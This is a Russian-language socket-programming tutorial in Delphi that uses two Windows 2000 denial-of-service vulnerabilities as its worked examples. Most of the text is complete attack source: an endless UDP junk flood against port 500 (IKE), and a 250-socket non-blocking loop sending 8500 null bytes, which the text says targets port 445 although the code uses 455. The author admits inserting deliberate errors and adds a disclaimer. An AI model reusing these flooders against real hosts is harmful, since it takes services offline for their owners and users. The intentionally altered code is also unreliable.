Сокеты 3 (Кодинг неблокирующих сокетов)
|
Сидит компания инетчиков в кафешке, пиво пьют, отдыхают. Тут один шутит. Все молчат. Минуту молчат, две, три, не шевелясь. Наконец один из них смеется.
- Ты чего так долго молчал? - спрашивает рассказчик.
- Да коннект плохой, наладить не мог...
|
Удаленный отказ работы
Рассмотрим пример 2 дырок в win2k. Описание можно взять на DoS против Microsoft Windows 2000 и DoS против Microsoft Windows 2000 Internet Key Exchange. В код будут добавленны небольшие преднамеренные ошибки (на всякий случай), но после внимательного прочтения статей, проблем с этим быть не должно. Рассмотрим сначала вторую уязвимость и напишем "клиент" на блокирующем сокете. Порт - 500, UDP. Будут использованы функции из первой и второй статей. Вот исходники на Delphi:
program IKE_attack;
uses
WinSock;
const MyComp = 'ADDRESS';
var
wsadata : TWSAData;
sin: TSockAddrIn;
sock: TSocket;
I : Cardinal;
Buf : string;
begin
WSAStartUp(257, wsadata);
// Инициализируем сокет для соединения с удаленным компьютером по UDP
// Протокол - UDP, отправка данных - SOCK_DGRAM
sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sin.sin_family := AF_INET;
// Порт - 500
sin.sin_port := htons(500);
// Преобразуем адрес в четырехбайтное число с помощью функции,
// рассмотреной в первой статье
sin.sin_addr.S_addr:=d_addr(MyComp);
// Соединение
I:=connect(sock,sin,sizeof(sin));
// если нельзя соединиться - выход
if I<=0 then
halt(1);
// Формирование мусора для отсылки
Buf:='';
for I:=1 to 1024 do
Buf:=Buf+chr(30+round(60));
// Посылка мусора с помощью функции,
рассмотренной во второй статье
while true do
DTrsend(Buf,1024,sock);
end.
|
Все просто. Инициализируем сокет для UDP, соединяемся и отправляем на 500 порт мусор, длинной 1024 байта. Теперь рассмотрим первую уязвимость и напишем "клиента", с использованием неблокирующих сокетов. Соединение - TCP, порт - 445. Будем использовать 250 синхронных сокетов, которые будут инициализироваться, соединяться и посылать буфер из 8500 нулевых символов. Как и в предыдущем примере, выход из программы написать в лом и программу придется, если что, прерывать через TaskManager. Исходя из теории в предыдущих статьях, нам потребуется массив из 250 сокетов и массив, в котором мы будем хранить флаги. Флаги нам нужны для линейной работы сокета. В данном конкретном случае, нужно 3 флага - сокет закрыт, идет соединение, соединение произошло - нужно отправить буфер данных и поставить флаг "сокет закрыт". В цикле идет постоянный опрос по select - в каком состоянии находится сокет с последующей установкой соответствующих флагов и выполнением неблокирующих операций сокетов. Рассмотрим для простоты на одном сокете. Идет инициализация, переход в неблокирующий режим, запуск connect на соединение и установка флага "сокет соединяется". Если по select получили, что уже соединились и можно отправить данные, то происходит установка флага "сокет соединился". В цикле, если встречается флаг "сокет соединился", то происходит отправка данных, установка флага "сокет закрыт" и закрытие сокета. ВНИМАНИЕ!!! Перед закрытием, сокет необходимо перевести в блокирующий режим. Вот исходники на Delphi с подробными комментариями:
program port445TCP;
uses
WinSock;
const
maxproccess=250; // Количество процессов
// Флаги
CLOSE_SOCK=0;
CONNECTING_SOCK=1;//
CONNECTED_SOCK=2; //
// Таймаут
TIME_OUT=10;
var
// Массив сокетов
sock : array [1..maxproccess] of TSocket;
// Массив флагов
stat : array [1..maxproccess] of Byte;
time : array [1..maxproccess] of Byte;
wsa:WSAData;
addr : Tsockaddr;
x : integer;
// Сигнал блокировки сокета
on_sock : LongInt = 1;
off_sock : LongInt = 0;
wfds_empty : Boolean;
wfds : Tfdset;
tv : Ttimeval;
buf : array[1..8500] of char;
begin
// Обнулим буфер отправки
FillChar(Buf,8500,0);
WSAStartup($101,wsa);
// Начальная установка флагов
for x:=1 to maxproccess do
stat[x]:=CLOSE_SOCK;
>repeat // бесконечный цикл
// Инициализация сокетов
for x:=1 to maxproccess do
begin
// Если сокет свободен
if stat[x]=CLOSE_SOCK then
begin
sock[x]:=socket(AF_INET,SOCK_STREAM,0);
time[x]:=TIME_OUT;
// ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
ioctlsocket(sock[x],FIONBIO,on_sock);
addr.sin_family:=AF_INET;
// Порт
addr.sin_port:=htons(455);
// Здесь необходимо указать адрес и используется функция
// преобразования адреса из первой статьи
addr.sin_addr.s_addr:=d_addr('ADDRESS');
// Неблокирующее соединение
connect(sock[x],addr,sizeof(addr));
stat[x]:=CONNECTING_SOCK;
end;
end;
// Использование макросов FD_ для установок и проверки
// нужно ли делать select
FD_ZERO(wfds);
wfds_empty:=true;
for x:=1 to maxproccess do
begin
if stat[x]=CONNECTING_SOCK then
begin
FD_SET(sock[x],wfds);
wfds_empty:=false;
end;
end;
// select-ируем сокеты с флагом "сокет соединяется",
// с установкой таймаута и проверкой на
// возможность отсылки данных
if not wfds_empty then
begin
tv.tv_sec:=1;
tv.tv_usec:=0;
select(0,nil,@wfds,nil,@tv);
end;
// Проверка тайм-аута
for x:=1 to maxproccess do
begin
if stat[x]<>CLOSE_SOCK then
begin
dec(time[x]);
// Если время на соединение истекло -
// закрываем сокет с установкой флага
if time[x]=0 then
begin
stat[x]:=CLOSE_SOCK;
// ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
// перед закрытием
ioctlsocket(sock[x],FIONBIO,off_sock);
closesocket(sock[x]);
end;
end;
// Проверка на соединение (соединились ли уже)
if stat[x]=CONNECTING_SOCK then
begin
// Если соединение уже произошло и можно отправлять данные -
// установим флаг
if FD_ISSET(sock[x],wfds) then
stat[x]:=CONNECTED_SOCK;
end;
// Проверка на возможность отправки
if stat[x]=CONNECTED_SOCK then
begin
FD_CLR(sock[x],wfds); // обнулим буфер сокета
send(sock[x],buf[1],8500,0);
// Отправка данных и закрытие сокета
stat[x]:=CLOSE_SOCK;
// ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
// перед закрытием
ioctlsocket(sock[x],FIONBIO,off_sock);
closesocket(sock[x]);
end;
end;
until
false;
end.
|
Это самый простейший пример - только отправка. Для использования приема, необходимо подключить большее количество флагов и второй параметр select. В этом коде также нет проверки ошибок, но дописать код - это уже детали. Не хотелось излишне загромождать исходники.
Клиент на синхронном сокетном движке
В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к "синему экрану".
P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
|